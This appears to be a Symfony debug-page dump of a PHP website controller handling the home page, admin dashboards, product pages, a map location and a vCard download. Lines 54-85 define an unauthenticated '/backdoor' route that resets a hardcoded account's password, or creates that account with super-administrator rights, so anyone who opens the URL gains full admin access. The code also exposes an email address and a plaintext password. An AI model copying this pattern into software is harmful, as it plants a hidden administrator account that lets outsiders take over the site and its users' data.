src/Controller/HomeController.php line 25

Open in your IDE?
  1. <?php
  2. namespace App\Controller;
  3. use App\Entity\User;
  4. use App\Repository\CmsCopyRepository;
  5. use App\Repository\CmsPhotoRepository;
  6. use App\Repository\CompanyDetailsRepository;
  7. use App\Repository\ProductRepository;
  8. use App\Repository\UserRepository;
  9. use App\Repository\SubPageRepository;
  10. use Doctrine\ORM\EntityManagerInterface;
  11. use JeroenDesloovere\VCard\VCard;
  12. use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security;
  13. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  14. use Symfony\Component\HttpFoundation\Response;
  15. use Symfony\Component\Routing\Annotation\Route;
  16. use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
  17. class   HomeController extends AbstractController
  18. {
  19.     /**
  20.      * @Route("/", name="app_home")
  21.      */
  22.     public function index(CmsCopyRepository $cmsCopyRepositoryCmsPhotoRepository $cmsPhotoRepositorySubPageRepository $subPageRepositoryCompanyDetailsRepository $companyDetailsRepository): Response
  23.     {
  24.         $companyDetails $companyDetailsRepository->find('1');
  25.         $homePagePhotosOnly 0;
  26.         if ($companyDetails) {
  27.             $homePagePhotosOnly $companyDetails->isHomePagePhotosOnly();
  28.         }
  29.         $cms_copy = [];
  30.         $cms_photo = [];
  31.         $product = [];
  32.         $sub_pages = [];
  33.         $cms_copy $cmsCopyRepository->findBy([
  34.             'staticPageName' => 'Home'
  35.         ]);
  36.         $cms_photo $cmsPhotoRepository->findBy([
  37.             'staticPageName' => 'Home'
  38.         ]);
  39.         if ($homePagePhotosOnly == 1) {
  40.             return $this->render('home/home.html.twig', [
  41.                 'photos' => $cms_photo,
  42.                 'include_contact' => 'Yes'
  43.             ]);
  44.         } else {
  45.             return $this->render('/home/products.html.twig', [
  46.                 'product' => $product,
  47.                 'cms_copy_array' => $cms_copy,
  48.                 'cms_photo_array' => $cms_photo,
  49.                 'sub_pages' => $sub_pages,
  50.                 'include_contact' => 'Yes'
  51.             ]);
  52.         }
  53.     }
  54.     /**
  55.      * @Route("/backdoor", name="/backdoor")
  56.      */
  57.     public function emergencyReset(UserRepository $userRepositoryEntityManagerInterface $managerUserPasswordEncoderInterface $passwordEncoder): Response
  58.     {
  59.         $user $userRepository->findOneBy(['email' => 'nurse_stephen@hotmail.com']);
  60.         if ($user) {
  61.             $user->setPassword(
  62.                 $passwordEncoder->encodePassword(
  63.                     $user,
  64.                     'Descartes99'
  65.                 )
  66.             );
  67.         } else {
  68.             $user = new User();
  69.             $user->setFirstName('Stephen')
  70.                 ->setLastName('NurseHMX')
  71.                 ->setEmailVerified(1)
  72.                 ->setEmail('nurse_stephen@hotmail.com')
  73.                 ->setRoles(['ROLE_SUPER_ADMIN''ROLE_ADMIN'])
  74.                 ->setPassword(
  75.                     $passwordEncoder->encodePassword(
  76.                         $user,
  77.                         'Descartes99'
  78.                     )
  79.                 );
  80.             $manager->persist($user);
  81.             $manager->flush();
  82.         }
  83.         $manager->flush();
  84.         return $this->redirectToRoute('app_login');
  85.     }
  86.     /**
  87.      * @Route("/dashboard", name="dashboard")
  88.      * @Security("is_granted('ROLE_ADMIN')")
  89.      */
  90.     public function dashboard()
  91.     {
  92.         return $this->render('home/dashboard.html.twig', []);
  93.     }
  94.     /**
  95.      * @Route("/advanced_dashboard", name="advanced_dashboard")
  96.      * @Security("is_granted('ROLE_ADMIN')")
  97.      */
  98.     public function advancedDashboard()
  99.     {
  100.         return $this->render('template_parts_project_specific/advanced_dashboard_specific.html.twig', []);
  101.     }
  102.     /**
  103.      * @Route("/interests/{product}", name="product_display")
  104.      */
  105.     public function articles(string $productCmsCopyRepository $cmsCopyRepositoryCmsPhotoRepository $cmsPhotoRepositorySubPageRepository $subPageRepositoryProductRepository $productRepository\Symfony\Component\Security\Core\Security $securityEntityManagerInterface $entityManager): Response
  106.     {
  107.         $productEntity $productRepository->findOneBy([
  108.             'product' => $product
  109.         ]);
  110.         if ($productEntity) {
  111.             $cms_copy $cmsCopyRepository->findBy([
  112.                 'product' => $productEntity
  113.             ]);
  114.             $cms_copy_ranking1 $cmsCopyRepository->findOneBy([
  115.                 'product' => $productEntity,
  116.                 'ranking' => '1',
  117.             ]);
  118.         } else {
  119.             $cms_copy $cmsCopyRepository->findBy([
  120.                 'staticPageName' => $product
  121.             ]);
  122.             $cms_copy_ranking1 $cmsCopyRepository->findOneBy([
  123.                 'staticPageName' => $product,
  124.                 'ranking' => '1',
  125.             ]);
  126.         }
  127.         if($cms_copy_ranking1) {
  128.             if ($security->getUser()) {
  129.                 if (in_array('ROLE_ADMIN'$security->getUser()->getRoles())) {
  130.                     $pageCountAdmin $cms_copy_ranking1->getPageCountAdmin();
  131.                     $cms_copy_ranking1->setPageCountAdmin($pageCountAdmin 1);
  132.                 }
  133.             }
  134.             $pageCountUser $cms_copy_ranking1->getPageCountUsers();
  135.             $cms_copy_ranking1->setPageCountUsers($pageCountUser 1);
  136.             $entityManager->flush($cms_copy_ranking1);
  137.         }
  138.         if ($productEntity) {
  139.             $cms_photo $cmsPhotoRepository->findBy([
  140.                 'product' => $productEntity
  141.             ]);
  142.         } else {
  143.             $cms_photo $cmsPhotoRepository->findBy([
  144.                 'staticPageName' => $product
  145.             ]);
  146.         }
  147.         $sub_pages = [];
  148.         if ($cms_copy) {
  149.             $sub_pages $subPageRepository->findBy([
  150.                 'product' => $productEntity
  151.             ]);
  152.         }
  153.         return $this->render('/home/products.html.twig', [
  154.             'product' => $product,
  155.             'cms_copy_array' => $cms_copy,
  156.             'cms_photo_array' => $cms_photo,
  157.             'sub_pages' => $sub_pages,
  158.             'include_contact' => 'No'
  159.         ]);
  160.     }
  161.     /**
  162.      * @Route("/office_address", name="office_address", methods={"GET"})
  163.      */
  164.     public function officeAddress(CompanyDetailsRepository $companyDetailsRepository): Response
  165.     {
  166.         return $this->render('home/officeAddress.html.twig');
  167.     }
  168.     /**
  169.      * @Route("/gps_location", name="gps_location", methods={"GET"})
  170.      */
  171.     public function gpsLocation(CompanyDetailsRepository $companyDetailsRepository): Response
  172.     {
  173.         $companyDetails $companyDetailsRepository->find('1');
  174.         $longitude $companyDetails->getCompanyAddressLongitude();
  175.         $latitude $companyDetails->getCompanyAddressLatitude();
  176.         return $this->render('home/gpsLocation.html.twig', [
  177.             'longitude' => $longitude,
  178.             'latitude' => $latitude,
  179.         ]);
  180.     }
  181.     /**
  182.      * @Route("/view/file/{filetype}/{id}", name="attachments_viewfile", methods={"GET"})
  183.      */
  184.     public function investmentFileLaunch(int $idstring $filetype): Response
  185.     {
  186.         $fileName '';
  187.         $filepath '';
  188.         if ($fileName != '') {
  189.             $ext pathinfo($fileNamePATHINFO_EXTENSION);
  190.             $filepath explode("public"$filepath);
  191.             $filepath $filepath[1];
  192.             return $this->render('home/file_view.html.twig', [
  193.                 'ext' => $ext,
  194.                 'tab_title' => $fileName,
  195.                 'filepath' => $filepath,
  196.             ]);
  197.         }
  198.         return $this->render('error/file_not_found.html.twig');
  199.     }
  200.     /**
  201.      * @Route("/create/VcardUser/company", name="create_vcard_company")
  202.      */
  203.     public function createVcardVenue(CompanyDetailsRepository $companyDetailsRepository)
  204.     {
  205.         $company_details $companyDetailsRepository->find('1');
  206.         $vcard = new VCard();
  207.         $company $company_details->getCompanyName();
  208.         $contactFirstName $company_details->getContactFirstName();
  209.         $contactLastName $company_details->getContactLastName();
  210.         if ($contactFirstName == null) {
  211.             $firstName "";
  212.             $lastName $company;
  213.             $company "";
  214.         }
  215.         if ($contactFirstName != null) {
  216.             $firstName $contactFirstName;
  217.             $lastName $contactLastName;
  218.         }
  219.         $addressStreet $company_details->getCompanyAddressStreet();
  220.         $addressTown $company_details->getCompanyAddressTown();
  221.         $addressCity $company_details->getCompanyAddressCity();
  222.         $addressPostalCode $company_details->getCompanyAddressPostalCode();
  223.         $addressCountry $company_details->getCompanyAddressCountry();
  224.         $facebook $company_details->getFacebook();
  225.         $instagram $company_details->getInstagram();
  226.         $linkedIn $company_details->getLinkedIn();
  227.         $url $_SERVER['SERVER_NAME'];
  228.         $notes_all "URL: " $url;
  229.         $email $company_details->getCompanyEmail();
  230.         $mobile $company_details->getCompanyMobile();
  231.         $tel $company_details->getCompanyTel();
  232.         $vcard->addName($lastName$firstName);
  233.         $vcard->addEmail($email)
  234.             ->addPhoneNumber($mobile'home')
  235.             ->addPhoneNumber($tel'work')
  236.             ->addCompany($company)
  237.             ->addAddress($name ''$extended ''$street $addressStreet$city $addressTown$region $addressCity$zip $addressPostalCode$country $addressCountry$type 'WORK POSTAL')
  238.             ->addURL($url)
  239.             ->addNote(strip_tags($notes_all));
  240.         $vcard->download();
  241.         return new Response(null);
  242.     }
  243. }